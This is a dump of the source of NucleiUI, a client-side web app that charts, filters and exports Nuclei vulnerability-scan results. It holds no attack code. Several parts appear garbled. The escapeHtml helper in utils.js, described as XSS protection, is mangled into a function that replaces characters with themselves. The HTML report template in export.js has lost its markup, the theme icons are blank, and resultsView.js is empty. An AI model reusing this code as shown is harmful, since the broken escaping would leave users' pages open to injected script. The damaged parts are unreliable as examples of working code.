├── CNAME
├── assets
├── logo.png
├── example_image.png
├── example_details.png
└── nucleiui-logo-wide.svg
├── modules
├── state.js
├── theme.js
├── stats.js
├── utils.js
├── events.js
├── filters.js
├── fileUpload.js
├── fileHandler.js
├── charts.js
├── export.js
└── resultsView.js
├── README.md
├── index.html
├── styles.css
└── app.js
/CNAME:
--------------------------------------------------------------------------------
1 | www.nucleiui.com
--------------------------------------------------------------------------------
/assets/logo.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/queencitycyber/nucleiUI/HEAD/assets/logo.png
--------------------------------------------------------------------------------
/assets/example_image.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/queencitycyber/nucleiUI/HEAD/assets/example_image.png
--------------------------------------------------------------------------------
/assets/example_details.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/queencitycyber/nucleiUI/HEAD/assets/example_details.png
--------------------------------------------------------------------------------
/assets/nucleiui-logo-wide.svg:
--------------------------------------------------------------------------------
1 |
--------------------------------------------------------------------------------
/modules/state.js:
--------------------------------------------------------------------------------
1 | // Centralized state management
2 | export const state = {
3 | scanResults: [],
4 | filteredResults: [],
5 | selectedResultIndex: -1,
6 | dataLoaded: false,
7 | charts: {
8 | severityChart: null,
9 | tagsChart: null
10 | }
11 | };
12 |
13 | // State update functions
14 | export function updateScanResults(results) {
15 | state.scanResults = results;
16 | state.dataLoaded = true;
17 | }
18 |
19 | export function updateFilteredResults(results) {
20 | state.filteredResults = results;
21 | }
22 |
23 | export function setSelectedResult(index) {
24 | state.selectedResultIndex = index;
25 | }
26 |
27 | // Reset state
28 | export function resetState() {
29 | state.scanResults = [];
30 | state.filteredResults = [];
31 | state.selectedResultIndex = -1;
32 | state.dataLoaded = false;
33 |
34 | if (state.charts.severityChart) {
35 | state.charts.severityChart.destroy();
36 | state.charts.severityChart = null;
37 | }
38 |
39 | if (state.charts.tagsChart) {
40 | state.charts.tagsChart.destroy();
41 | state.charts.tagsChart = null;
42 | }
43 | }
44 |
--------------------------------------------------------------------------------
/modules/theme.js:
--------------------------------------------------------------------------------
1 | import { state } from './state.js';
2 | import { updateCharts } from './charts.js';
3 |
4 | export function initTheme() {
5 | const themeToggle = document.getElementById('theme-toggle');
6 |
7 | // Theme toggle functionality
8 | themeToggle.addEventListener('click', toggleTheme);
9 |
10 | // Check for saved theme preference
11 | const savedDarkMode = localStorage.getItem('darkMode') === 'true';
12 | if (savedDarkMode) {
13 | document.body.classList.add('dark-mode');
14 | themeToggle.innerHTML = '';
15 | } else {
16 | themeToggle.innerHTML = '';
17 | }
18 | }
19 |
20 | function toggleTheme() {
21 | document.body.classList.toggle('dark-mode');
22 | const isDarkMode = document.body.classList.contains('dark-mode');
23 | localStorage.setItem('darkMode', isDarkMode);
24 |
25 | const themeToggle = document.getElementById('theme-toggle');
26 | themeToggle.innerHTML = isDarkMode ?
27 | '' :
28 | '';
29 |
30 | // Update charts if they exist
31 | if (state.charts.severityChart && state.charts.tagsChart) {
32 | updateCharts();
33 | }
34 | }
35 |
--------------------------------------------------------------------------------
/modules/stats.js:
--------------------------------------------------------------------------------
1 | import { state } from './state.js';
2 |
3 | export function updateStats() {
4 | const totalFindings = document.getElementById('total-findings');
5 | const criticalCount = document.getElementById('critical-count');
6 | const highCount = document.getElementById('high-count');
7 | const mediumCount = document.getElementById('medium-count');
8 | const lowCount = document.getElementById('low-count');
9 | const infoCount = document.getElementById('info-count');
10 |
11 | const stats = {
12 | total: state.scanResults.length,
13 | critical: 0,
14 | high: 0,
15 | medium: 0,
16 | low: 0,
17 | info: 0
18 | };
19 |
20 | state.scanResults.forEach(result => {
21 | const severity = result.info?.severity?.toLowerCase() || 'unknown';
22 | if (stats[severity] !== undefined) {
23 | stats[severity]++;
24 | }
25 | });
26 |
27 | totalFindings.textContent = stats.total;
28 | criticalCount.textContent = stats.critical;
29 | highCount.textContent = stats.high;
30 | mediumCount.textContent = stats.medium;
31 | lowCount.textContent = stats.low;
32 | infoCount.textContent = stats.info;
33 | }
34 |
35 | export function updateFilterStats() {
36 | document.getElementById('filtered-count').textContent = state.filteredResults.length;
37 | }
38 |
--------------------------------------------------------------------------------
/modules/utils.js:
--------------------------------------------------------------------------------
1 | // Helper utilities
2 |
3 | export const utils = {
4 | // Escape HTML to prevent XSS
5 | escapeHtml(str) {
6 | if (!str) return '';
7 | return str
8 | .replace(/&/g, '&')
9 | .replace(//g, '>')
11 | .replace(/"/g, '"')
12 | .replace(/'/g, ''');
13 | },
14 |
15 | // Format date string
16 | formatDate(dateStr) {
17 | if (!dateStr) return 'N/A';
18 | try {
19 | const date = new Date(dateStr);
20 | return date.toLocaleString();
21 | } catch (e) {
22 | return dateStr;
23 | }
24 | },
25 |
26 | // Get severity color
27 | getSeverityColor(severity) {
28 | const colors = {
29 | critical: '#e74c3c',
30 | high: '#e67e22',
31 | medium: '#f39c12',
32 | low: '#3498db',
33 | info: '#7f8c8d'
34 | };
35 | return colors[severity] || colors.info;
36 | },
37 |
38 | // Download a file
39 | downloadFile(content, fileName, contentType) {
40 | const blob = new Blob([content], { type: contentType });
41 | const url = URL.createObjectURL(blob);
42 |
43 | const a = document.createElement('a');
44 | a.href = url;
45 | a.download = fileName;
46 | a.style.display = 'none';
47 |
48 | document.body.appendChild(a);
49 | a.click();
50 |
51 | setTimeout(() => {
52 | document.body.removeChild(a);
53 | URL.revokeObjectURL(url);
54 | }, 100);
55 | }
56 | };
57 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # 🚀 NucleiUI - Visualize Your Nuclei Scan Results!
2 |
3 | ## 🔥 What is NucleiUI?
4 |
5 | **NucleiUI** is a powerful, browser-based visualization tool for your [Nuclei](https://github.com/projectdiscovery/nuclei) scan results!
6 |
7 | No more staring at raw JSON files or scrolling through endless terminal output. With NucleiUI, you can upload your scan results and instantly get **beautiful, interactive visualizations** that help you understand your security findings better.
8 |
9 | > 🎯 _Shoot First. View Scans Later._
10 |
11 | ---
12 |
13 | 
14 | 
15 |
16 | ## 🚀 Getting Started
17 |
18 | ### Option 1: Use the Live Version
19 | 👉 Visit the [Live Demo](https://queencitycyber.github.io/nucleiUI/) to use NucleiUI directly in your browser!
20 |
21 | ### Option 2: Run Locally
22 |
23 |
24 | ## ✨ Features
25 |
26 | ### 📊 Visual Charts & Statistics
27 | - Severity breakdown charts — instantly see **critical**, **high**, **medium**, **low**, and **info** findings
28 | - Top tags visualization — identify recurring vulnerability patterns
29 | - Interactive statistics — click and filter to drill down into specific data
30 |
31 | ### 🔍 Advanced Search & Filtering
32 | - Deep search across **ALL** data (including request/response content!)
33 | - Filter by severity to focus on what matters most
34 | - Tag-based filtering to group related vulnerabilities
35 | - Text search to find specific hosts, templates, or vulnerability names
36 |
37 | ### 📤 Export Options
38 | - **JSON** export — for further processing or automation
39 | - **CSV** export — ideal for spreadsheet analysis
40 | - **HTML report** — beautiful, shareable, and perfect for teams or clients
41 |
42 | ### 🌙 Dark Mode
43 | Because your eyes deserve better at 3am hunting that bug 🕶️
44 |
45 | ### 🔒 Privacy Focused
46 | - 100% **client-side** — your data never leaves your browser
47 |
48 |
49 | ---
50 |
51 | ## 📋 How to Use
52 | 1. Upload your Nuclei JSON results by drag-and-drop or using the file browser
53 | 2. Explore the visualizations in the dashboard
54 | 3. Use filtering and search to focus on specific findings
55 | 4. Click on any finding to view detailed information, including request/response data
56 | 5. Export your results as JSON, CSV, or HTML
57 |
58 | > 🧪 Don’t have scan results handy? Click the "Load Example Data" button to try it with sample findings.
59 |
60 | ---
61 |
62 | #### 🔐 Remember: Good security starts with good visibility. NucleiUI helps you see clearly.
63 |
--------------------------------------------------------------------------------
/modules/events.js:
--------------------------------------------------------------------------------
1 | import { state } from './state.js';
2 | import { applyFilters } from './filters.js';
3 | import { handleFileUpload } from './fileUpload.js';
4 |
5 | /**
6 | * Initialize all event listeners for the application
7 | */
8 | export function initEventListeners() {
9 | // Get DOM elements
10 | const fileUpload = document.getElementById('file-upload');
11 | const searchInput = document.getElementById('search');
12 | const severityFilter = document.getElementById('severity-filter');
13 | const tagFilter = document.getElementById('tag-filter');
14 | const resultsList = document.getElementById('results-list');
15 | const detailView = document.getElementById('detail-view');
16 |
17 | // File upload events - already handled in fileUpload.js
18 |
19 | // Search and filter events
20 | searchInput.addEventListener('input', applyFilters);
21 | severityFilter.addEventListener('change', applyFilters);
22 | tagFilter.addEventListener('input', applyFilters);
23 |
24 | // Handle window resize for responsive design
25 | window.addEventListener('resize', () => {
26 | if (window.innerWidth > 1024) {
27 | resultsList.style.display = 'block';
28 | detailView.style.display = 'block';
29 | }
30 | });
31 |
32 | // Add beforeunload event listener to warn before page reload/close
33 | window.addEventListener('beforeunload', function(e) {
34 | if (state.dataLoaded) {
35 | const message = 'Warning: Reloading will cause all scan data to be lost. Are you sure you want to continue?';
36 | e.returnValue = message;
37 | return message;
38 | }
39 | });
40 |
41 | // Add keyboard shortcuts
42 | document.addEventListener('keydown', handleKeyboardShortcuts);
43 | }
44 |
45 | /**
46 | * Handle keyboard shortcuts
47 | * @param {KeyboardEvent} event - The keyboard event
48 | */
49 | function handleKeyboardShortcuts(event) {
50 | // Ctrl/Cmd + F for search
51 | if ((event.ctrlKey || event.metaKey) && event.key === 'f') {
52 | event.preventDefault();
53 | document.getElementById('search').focus();
54 | }
55 |
56 | // Escape key to clear search
57 | if (event.key === 'Escape') {
58 | const searchInput = document.getElementById('search');
59 | if (document.activeElement === searchInput) {
60 | searchInput.value = '';
61 | applyFilters();
62 | }
63 | }
64 |
65 | // Arrow keys for navigating results when a result is selected
66 | if (state.selectedResultIndex >= 0 && (event.key === 'ArrowUp' || event.key === 'ArrowDown')) {
67 | event.preventDefault();
68 |
69 | const newIndex = event.key === 'ArrowUp'
70 | ? Math.max(0, state.selectedResultIndex - 1)
71 | : Math.min(state.filteredResults.length - 1, state.selectedResultIndex + 1);
72 |
73 | if (newIndex !== state.selectedResultIndex) {
74 | // Simulate clicking on the result item
75 | const resultItem = document.querySelector(`.result-item[data-index="${newIndex}"]`);
76 | if (resultItem) {
77 | resultItem.click();
78 | }
79 | }
80 | }
81 | }
82 |
--------------------------------------------------------------------------------
/modules/filters.js:
--------------------------------------------------------------------------------
1 | import { state, updateFilteredResults } from './state.js';
2 | import { renderResults } from './resultsView.js';
3 |
4 | export function initFilters() {
5 | const searchInput = document.getElementById('search');
6 | const severityFilter = document.getElementById('severity-filter');
7 | const tagFilter = document.getElementById('tag-filter');
8 | const globalSearchInput = document.getElementById('global-search');
9 | const searchRequestsCheckbox = document.getElementById('search-requests');
10 | const searchResponsesCheckbox = document.getElementById('search-responses');
11 |
12 | if (searchInput) searchInput.addEventListener('input', applyFilters);
13 | if (severityFilter) severityFilter.addEventListener('change', applyFilters);
14 | if (tagFilter) tagFilter.addEventListener('input', applyFilters);
15 | if (globalSearchInput) globalSearchInput.addEventListener('input', applyFilters);
16 | if (searchRequestsCheckbox) searchRequestsCheckbox.addEventListener('change', applyFilters);
17 | if (searchResponsesCheckbox) searchResponsesCheckbox.addEventListener('change', applyFilters);
18 | }
19 |
20 | export function applyFilters() {
21 | const searchTerm = document.getElementById('search')?.value.toLowerCase() || '';
22 | const severityValue = document.getElementById('severity-filter')?.value || 'all';
23 | const tagValue = document.getElementById('tag-filter')?.value.toLowerCase() || '';
24 | const globalSearchTerm = document.getElementById('global-search')?.value.toLowerCase() || '';
25 | const searchRequests = document.getElementById('search-requests')?.checked ?? true;
26 | const searchResponses = document.getElementById('search-responses')?.checked ?? true;
27 |
28 | const filtered = state.scanResults.filter(result => {
29 | // Search in name, host, and template-id
30 | const nameMatch = result.info?.name?.toLowerCase().includes(searchTerm) || false;
31 | const hostMatch = result.host?.toLowerCase().includes(searchTerm) || false;
32 | const templateMatch = result['template-id']?.toLowerCase().includes(searchTerm) || false;
33 | const searchMatch = nameMatch || hostMatch || templateMatch;
34 |
35 | // Filter by severity
36 | const severityMatch = severityValue === 'all' ||
37 | (result.info?.severity?.toLowerCase() === severityValue);
38 |
39 | // Filter by tag
40 | let tagMatch = true;
41 | if (tagValue) {
42 | tagMatch = result.info?.tags?.some(tag =>
43 | tag.toLowerCase().includes(tagValue)
44 | ) || false;
45 | }
46 |
47 | // Global search in request/response
48 | let globalMatch = true;
49 | if (globalSearchTerm) {
50 | globalMatch = false;
51 |
52 | if (searchRequests && result.request) {
53 | globalMatch = globalMatch || result.request.toLowerCase().includes(globalSearchTerm);
54 | }
55 |
56 | if (searchResponses && result.response) {
57 | globalMatch = globalMatch || result.response.toLowerCase().includes(globalSearchTerm);
58 | }
59 | }
60 |
61 | return searchMatch && severityMatch && tagMatch && globalMatch;
62 | });
63 |
64 | updateFilteredResults(filtered);
65 | renderResults();
66 | updateFilteredCount();
67 | }
68 |
69 | function updateFilteredCount() {
70 | const filteredCountElement = document.getElementById('filtered-count');
71 | if (filteredCountElement) {
72 | filteredCountElement.textContent = state.filteredResults.length;
73 | }
74 | }
75 |
--------------------------------------------------------------------------------
/modules/fileUpload.js:
--------------------------------------------------------------------------------
1 | import { state, updateScanResults } from './state.js';
2 | import { updateStats } from './stats.js';
3 | import { initCharts } from './charts.js';
4 | import { applyFilters } from './filters.js';
5 |
6 | /**
7 | * Initializes the file upload system including:
8 | * - Drag and drop area
9 | * - File input change listener
10 | * - Clickable file info for re-uploading
11 | */
12 | export function initFileUpload() {
13 | const fileInput = document.getElementById('file-upload');
14 | const uploadArea = document.querySelector('.upload-area');
15 | const fileInfo = document.querySelector('.file-info');
16 |
17 | if (!fileInput) {
18 | console.error('❌ File input element #file-upload not found');
19 | return;
20 | }
21 |
22 | // Listen for file selection
23 | fileInput.addEventListener('change', handleFileUpload);
24 |
25 | // Enable drag-and-drop file upload
26 | if (uploadArea) {
27 | uploadArea.addEventListener('dragover', (e) => {
28 | e.preventDefault();
29 | uploadArea.classList.add('dragover');
30 | });
31 |
32 | uploadArea.addEventListener('dragleave', () => {
33 | uploadArea.classList.remove('dragover');
34 | });
35 |
36 | uploadArea.addEventListener('drop', (e) => {
37 | e.preventDefault();
38 | uploadArea.classList.remove('dragover');
39 |
40 | if (e.dataTransfer.files.length) {
41 | fileInput.files = e.dataTransfer.files;
42 | fileInput.dispatchEvent(new Event('change'));
43 | }
44 | });
45 | } else {
46 | console.warn('⚠️ Upload area (.upload-area) not found, drag-and-drop disabled');
47 | }
48 |
49 | // Allow clicking on file info section to upload a new file
50 | if (fileInfo) {
51 | fileInfo.addEventListener('click', () => {
52 | if (state.dataLoaded && !confirm('Loading a new file will replace your current results. Continue?')) {
53 | return;
54 | }
55 | const fileInput = document.getElementById('file-upload');
56 | if (fileInput) fileInput.click();
57 | });
58 | }
59 | }
60 |
61 | /**
62 | * Handles file parsing and UI state updates
63 | */
64 | export function handleFileUpload(event) {
65 | const file = event.target.files[0];
66 | if (!file) return;
67 |
68 | const reader = new FileReader();
69 |
70 | reader.onload = (e) => {
71 | try {
72 | const text = e.target.result.trim();
73 | const parsed = text.startsWith('[')
74 | ? JSON.parse(text)
75 | : [JSON.parse(text)];
76 |
77 | updateScanResults(parsed);
78 | updateStats();
79 | initCharts();
80 | applyFilters();
81 |
82 | document.getElementById('file-name').textContent = file.name;
83 | document.querySelector('.file-info').style.display = 'flex';
84 |
85 | hideWelcomeScreen();
86 | hideUploadContainer();
87 | } catch (err) {
88 | alert('❌ Failed to parse JSON: ' + err.message);
89 | console.error('Error parsing uploaded JSON file:', err);
90 | }
91 | };
92 |
93 | reader.readAsText(file);
94 | }
95 |
96 | /**
97 | * Hides welcome screen, shows results view
98 | */
99 | function hideWelcomeScreen() {
100 | const welcome = document.getElementById('welcome-screen');
101 | const results = document.getElementById('results-view');
102 | const header = document.querySelector('.results-header');
103 |
104 | if (welcome && results) {
105 | welcome.style.display = 'none';
106 | results.style.display = 'block';
107 | if (header) header.style.display = 'flex';
108 | }
109 | }
110 |
111 | /**
112 | * Displays upload container
113 | */
114 | export function showUploadContainer() {
115 | // We don't need to do anything here since we're using the welcome screen
116 | // Just trigger the file input
117 | const fileInput = document.getElementById('file-upload');
118 | if (fileInput) fileInput.click();
119 | }
120 |
121 | /**
122 | * Hides upload container
123 | */
124 | export function hideUploadContainer() {
125 | // No need to hide a container that doesn't exist
126 | // This function can be empty or removed
127 | }
128 |
129 | /**
130 | * Clears file input so the same file can be re-selected
131 | */
132 | export function resetFileUpload() {
133 | const input = document.getElementById('file-upload');
134 | if (input) input.value = '';
135 | }
136 |
--------------------------------------------------------------------------------
/modules/fileHandler.js:
--------------------------------------------------------------------------------
1 | import { state, updateScanResults } from './state.js';
2 | import { initCharts } from './charts.js';
3 | import { applyFilters } from './filters.js';
4 |
5 | export function initFileHandler() {
6 | setupFileUpload();
7 | setupDragAndDrop();
8 | setupFileInfo();
9 | }
10 |
11 | function setupFileUpload() {
12 | const fileUpload = document.getElementById('file-upload');
13 | const browseBtn = document.querySelector('.browse-btn');
14 |
15 | if (fileUpload) {
16 | fileUpload.accept = '.json';
17 | fileUpload.addEventListener('change', handleFileUpload);
18 | }
19 |
20 | if (browseBtn) {
21 | browseBtn.addEventListener('click', (e) => {
22 | e.preventDefault();
23 | if (fileUpload) {
24 | fileUpload.click();
25 | }
26 | });
27 | }
28 | }
29 |
30 | function setupDragAndDrop() {
31 | const uploadArea = document.querySelector('.upload-area');
32 | if (!uploadArea) return;
33 |
34 | uploadArea.addEventListener('dragover', (e) => {
35 | e.preventDefault();
36 | uploadArea.classList.add('dragover');
37 | });
38 |
39 | uploadArea.addEventListener('dragleave', () => {
40 | uploadArea.classList.remove('dragover');
41 | });
42 |
43 | uploadArea.addEventListener('drop', (e) => {
44 | e.preventDefault();
45 | uploadArea.classList.remove('dragover');
46 |
47 | if (e.dataTransfer.files.length) {
48 | const fileUpload = document.getElementById('file-upload');
49 | fileUpload.files = e.dataTransfer.files;
50 | const event = new Event('change');
51 | fileUpload.dispatchEvent(event);
52 | }
53 | });
54 | }
55 |
56 | function setupFileInfo() {
57 | const fileInfo = document.querySelector('.file-info');
58 | if (fileInfo) {
59 | fileInfo.addEventListener('click', () => {
60 | if (state.dataLoaded) {
61 | if (!confirm('Warning: Loading a new file will replace your current data. Are you sure you want to continue?')) {
62 | return;
63 | }
64 | }
65 | const uploadContainer = document.getElementById('upload-container');
66 | if (uploadContainer) {
67 | uploadContainer.style.display = 'flex';
68 | }
69 | });
70 | }
71 | }
72 |
73 | function handleFileUpload(event) {
74 | const file = event.target.files[0];
75 | if (!file) return;
76 |
77 | const reader = new FileReader();
78 | reader.onload = function(e) {
79 | try {
80 | // Parse the JSON data
81 | let data = e.target.result;
82 | let parsedData;
83 |
84 | // Handle both array and single object formats
85 | if (data.trim().startsWith('[')) {
86 | parsedData = JSON.parse(data);
87 | } else {
88 | // If it's a single object, wrap it in an array
89 | parsedData = [JSON.parse(data)];
90 | }
91 |
92 | // Update state
93 | updateScanResults(parsedData);
94 |
95 | // Update UI
96 | updateStats();
97 | initCharts();
98 | applyFilters();
99 |
100 | // Show the file name
101 | const fileNameElement = document.getElementById('file-name');
102 | if (fileNameElement) {
103 | fileNameElement.textContent = file.name;
104 | document.querySelector('.file-info').style.display = 'flex';
105 | }
106 |
107 | // Hide the upload container
108 | const uploadContainer = document.getElementById('upload-container');
109 | if (uploadContainer) {
110 | uploadContainer.style.display = 'none';
111 | }
112 | } catch (error) {
113 | alert('Error parsing JSON file: ' + error.message);
114 | console.error('Error parsing JSON:', error);
115 | }
116 | };
117 | reader.readAsText(file);
118 | }
119 |
120 | export function loadExampleData(exampleData) {
121 | updateScanResults(exampleData);
122 |
123 | // Update UI
124 | updateStats();
125 | initCharts();
126 | applyFilters();
127 |
128 | // Show the file name
129 | const fileNameElement = document.getElementById('file-name');
130 | if (fileNameElement) {
131 | fileNameElement.textContent = 'Example Data';
132 | document.querySelector('.file-info').style.display = 'flex';
133 | }
134 |
135 | // Hide the upload container
136 | const uploadContainer = document.getElementById('upload-container');
137 | if (uploadContainer) {
138 | uploadContainer.style.display = 'none';
139 | }
140 | }
141 |
142 | function updateStats() {
143 | const stats = {
144 | total: state.scanResults.length,
145 | critical: 0,
146 | high: 0,
147 | medium: 0,
148 | low: 0,
149 | info: 0
150 | };
151 |
152 | state.scanResults.forEach(result => {
153 | const severity = result.info?.severity?.toLowerCase() || 'unknown';
154 | if (stats[severity] !== undefined) {
155 | stats[severity]++;
156 | }
157 | });
158 |
159 | document.getElementById('total-findings').textContent = stats.total;
160 | document.getElementById('critical-count').textContent = stats.critical;
161 | document.getElementById('high-count').textContent = stats.high;
162 | document.getElementById('medium-count').textContent = stats.medium;
163 | document.getElementById('low-count').textContent = stats.low;
164 | document.getElementById('info-count').textContent = stats.info;
165 | }
166 |
--------------------------------------------------------------------------------
/modules/charts.js:
--------------------------------------------------------------------------------
1 | import { state } from './state.js';
2 |
3 | export function initCharts() {
4 | const severityCtx = document.getElementById('severity-chart')?.getContext('2d');
5 | const tagsCtx = document.getElementById('tags-chart')?.getContext('2d');
6 |
7 | if (!severityCtx || !tagsCtx) {
8 | console.error('Chart elements not found');
9 | return;
10 | }
11 |
12 | // Count severities and prepare chart data
13 | const severityCounts = countSeverities();
14 | const tagCounts = countTags();
15 |
16 | createSeverityChart(severityCtx, severityCounts);
17 | createTagsChart(tagsCtx, tagCounts);
18 | }
19 |
20 | export function updateCharts() {
21 | if (state.charts.severityChart && state.charts.tagsChart) {
22 | const isDarkMode = document.body.classList.contains('dark-mode');
23 | const textColor = isDarkMode ? '#e0e0e0' : '#333333';
24 | const gridColor = isDarkMode ? '#333333' : '#e0e0e0';
25 |
26 | // Update severity chart
27 | state.charts.severityChart.options.plugins.legend.labels.color = textColor;
28 | state.charts.severityChart.update();
29 |
30 | // Update tags chart
31 | state.charts.tagsChart.options.scales.x.ticks.color = textColor;
32 | state.charts.tagsChart.options.scales.y.ticks.color = textColor;
33 | state.charts.tagsChart.options.scales.x.grid.color = gridColor;
34 | state.charts.tagsChart.update();
35 | }
36 | }
37 |
38 | function countSeverities() {
39 | const severityCounts = {
40 | critical: 0,
41 | high: 0,
42 | medium: 0,
43 | low: 0,
44 | info: 0
45 | };
46 |
47 | state.scanResults.forEach(result => {
48 | const severity = result.info?.severity?.toLowerCase() || 'info';
49 | if (severityCounts[severity] !== undefined) {
50 | severityCounts[severity]++;
51 | }
52 | });
53 |
54 | return severityCounts;
55 | }
56 |
57 | function countTags() {
58 | const tagCounts = {};
59 | state.scanResults.forEach(result => {
60 | (result.info?.tags || []).forEach(tag => {
61 | tagCounts[tag] = (tagCounts[tag] || 0) + 1;
62 | });
63 | });
64 |
65 | // Sort tags by count and get top 10
66 | return Object.entries(tagCounts)
67 | .sort((a, b) => b[1] - a[1])
68 | .slice(0, 10);
69 | }
70 |
71 | function createSeverityChart(ctx, severityCounts) {
72 | const isDarkMode = document.body.classList.contains('dark-mode');
73 | const textColor = isDarkMode ? '#e0e0e0' : '#333333';
74 |
75 | const severityData = {
76 | labels: ['Critical', 'High', 'Medium', 'Low', 'Info'],
77 | datasets: [{
78 | data: [
79 | severityCounts.critical,
80 | severityCounts.high,
81 | severityCounts.medium,
82 | severityCounts.low,
83 | severityCounts.info
84 | ],
85 | backgroundColor: [
86 | '#e74c3c',
87 | '#e67e22',
88 | '#f39c12',
89 | '#3498db',
90 | '#7f8c8d'
91 | ],
92 | borderWidth: 0
93 | }]
94 | };
95 |
96 | // Destroy existing chart if it exists
97 | if (state.charts.severityChart) {
98 | state.charts.severityChart.destroy();
99 | }
100 |
101 | state.charts.severityChart = new Chart(ctx, {
102 | type: 'doughnut',
103 | data: severityData,
104 | options: {
105 | responsive: true,
106 | maintainAspectRatio: false,
107 | plugins: {
108 | legend: {
109 | position: 'right',
110 | labels: {
111 | color: textColor,
112 | padding: 10,
113 | usePointStyle: true
114 | }
115 | },
116 | tooltip: {
117 | callbacks: {
118 | label: function(context) {
119 | const label = context.label || '';
120 | const value = context.raw || 0;
121 | const total = context.dataset.data.reduce((a, b) => a + b, 0);
122 | const percentage = Math.round((value / total) * 100);
123 | return `${label}: ${value} (${percentage}%)`;
124 | }
125 | }
126 | }
127 | },
128 | cutout: '60%'
129 | }
130 | });
131 | }
132 |
133 | function createTagsChart(ctx, topTags) {
134 | const isDarkMode = document.body.classList.contains('dark-mode');
135 | const textColor = isDarkMode ? '#e0e0e0' : '#333333';
136 | const gridColor = isDarkMode ? '#333333' : '#e0e0e0';
137 |
138 | const tagsData = {
139 | labels: topTags.map(tag => tag[0]),
140 | datasets: [{
141 | label: 'Occurrences',
142 | data: topTags.map(tag => tag[1]),
143 | backgroundColor: '#3498db',
144 | borderColor: '#2980b9',
145 | borderWidth: 1
146 | }]
147 | };
148 |
149 | // Destroy existing chart if it exists
150 | if (state.charts.tagsChart) {
151 | state.charts.tagsChart.destroy();
152 | }
153 |
154 | state.charts.tagsChart = new Chart(ctx, {
155 | type: 'bar',
156 | data: tagsData,
157 | options: {
158 | responsive: true,
159 | maintainAspectRatio: false,
160 | indexAxis: 'y',
161 | plugins: {
162 | legend: {
163 | display: false
164 | }
165 | },
166 | scales: {
167 | x: {
168 | ticks: {
169 | color: textColor
170 | },
171 | grid: {
172 | color: gridColor
173 | }
174 | },
175 | y: {
176 | ticks: {
177 | color: textColor
178 | },
179 | grid: {
180 | display: false
181 | }
182 | }
183 | }
184 | }
185 | });
186 | }
187 |
--------------------------------------------------------------------------------
/modules/export.js:
--------------------------------------------------------------------------------
1 | import { state } from './state.js';
2 | import { utils } from './utils.js';
3 |
4 | export function initExport() {
5 | document.getElementById('export-btn').addEventListener('click', exportResults);
6 | }
7 |
8 | function exportResults() {
9 | const exportFormat = document.getElementById('export-format').value;
10 | const exportFiltered = document.getElementById('export-filtered').checked;
11 |
12 | const dataToExport = exportFiltered ? state.filteredResults : state.scanResults;
13 |
14 | if (dataToExport.length === 0) {
15 | alert('No data to export');
16 | return;
17 | }
18 |
19 | let content, filename, type;
20 |
21 | switch (exportFormat) {
22 | case 'json':
23 | content = JSON.stringify(dataToExport, null, 2);
24 | filename = 'nuclei-results.json';
25 | type = 'application/json';
26 | break;
27 | case 'csv':
28 | content = convertToCSV(dataToExport);
29 | filename = 'nuclei-results.csv';
30 | type = 'text/csv';
31 | break;
32 | case 'html':
33 | content = generateHTMLReport(dataToExport);
34 | filename = 'nuclei-results.html';
35 | type = 'text/html';
36 | break;
37 | }
38 |
39 | const blob = new Blob([content], { type });
40 | const url = URL.createObjectURL(blob);
41 |
42 | const a = document.createElement('a');
43 | a.href = url;
44 | a.download = filename;
45 | document.body.appendChild(a);
46 | a.click();
47 | document.body.removeChild(a);
48 | URL.revokeObjectURL(url);
49 | }
50 |
51 | function convertToCSV(data) {
52 | if (data.length === 0) return '';
53 |
54 | // Define CSV headers based on the structure
55 | const headers = [
56 | 'Template ID', 'Name', 'Severity', 'Host', 'Port',
57 | 'URL', 'Timestamp', 'Tags', 'Description'
58 | ];
59 |
60 | let csv = headers.join(',') + '\n';
61 |
62 | data.forEach(item => {
63 | const row = [
64 | `"${(item['template-id'] || '').replace(/"/g, '""')}"`,
65 | `"${(item.info?.name || '').replace(/"/g, '""')}"`,
66 | `"${(item.info?.severity || '').replace(/"/g, '""')}"`,
67 | `"${(item.host || '').replace(/"/g, '""')}"`,
68 | `"${(item.port || '').replace(/"/g, '""')}"`,
69 | `"${(item.url || '').replace(/"/g, '""')}"`,
70 | `"${(item.timestamp || '').replace(/"/g, '""')}"`,
71 | `"${((item.info?.tags || []).join(', ') || '').replace(/"/g, '""')}"`,
72 | `"${(item.info?.description || '').replace(/"/g, '""').replace(/\n/g, ' ')}"`,
73 | ];
74 |
75 | csv += row.join(',') + '\n';
76 | });
77 |
78 | return csv;
79 | }
80 |
81 | function generateHTMLReport(data) {
82 | let severityCounts = {
83 | critical: 0,
84 | high: 0,
85 | medium: 0,
86 | low: 0,
87 | info: 0
88 | };
89 |
90 | data.forEach(item => {
91 | const severity = item.info?.severity?.toLowerCase() || 'info';
92 | if (severityCounts[severity] !== undefined) {
93 | severityCounts[severity]++;
94 | }
95 | });
96 |
97 | let html = `
98 |
99 |
100 |
101 |
102 |
103 | Nuclei Scan Results Report
104 |
121 |
122 |
123 | Nuclei Scan Results Report
124 | Generated on: ${new Date().toLocaleString()}
125 |
126 | Summary
127 |
128 |
129 |
Total
130 |
${data.length}
131 |
132 |
133 |
Critical
134 |
${severityCounts.critical}
135 |
136 |
137 |
High
138 |
${severityCounts.high}
139 |
140 |
141 |
Medium
142 |
${severityCounts.medium}
143 |
144 |
145 |
Low
146 |
${severityCounts.low}
147 |
148 |
149 |
Info
150 |
${severityCounts.info}
151 |
152 |
153 |
154 | Findings
155 |
156 |
157 |
158 | | Name |
159 | Severity |
160 | Host |
161 | Tags |
162 | Timestamp |
163 |
164 |
165 |
166 | `;
167 |
168 | data.forEach(item => {
169 | const severity = item.info?.severity?.toLowerCase() || 'info';
170 | const tags = item.info?.tags || [];
171 |
172 | html += `
173 |
174 | | ${utils.escapeHtml(item.info?.name || 'Unnamed Finding')} |
175 | ${severity.toUpperCase()} |
176 | ${utils.escapeHtml(item.host || 'N/A')} |
177 | ${tags.map(tag => `${utils.escapeHtml(tag)}`).join('')} |
178 | ${utils.formatDate(item.timestamp)} |
179 |
180 | `;
181 | });
182 |
183 | html += `
184 |
185 |
186 |
187 |
188 | `;
189 |
190 | return html;
191 | }
192 |
193 | function getSeverityColor(severity) {
194 | const colors = {
195 | critical: '#e74c3c',
196 | high: '#e67e22',
197 | medium: '#f39c12',
198 | low: '#3498db',
199 | info: '#7f8c8d'
200 | };
201 | return colors[severity] || colors.info;
202 | }
203 |
--------------------------------------------------------------------------------
/modules/resultsView.js:
--------------------------------------------------------------------------------
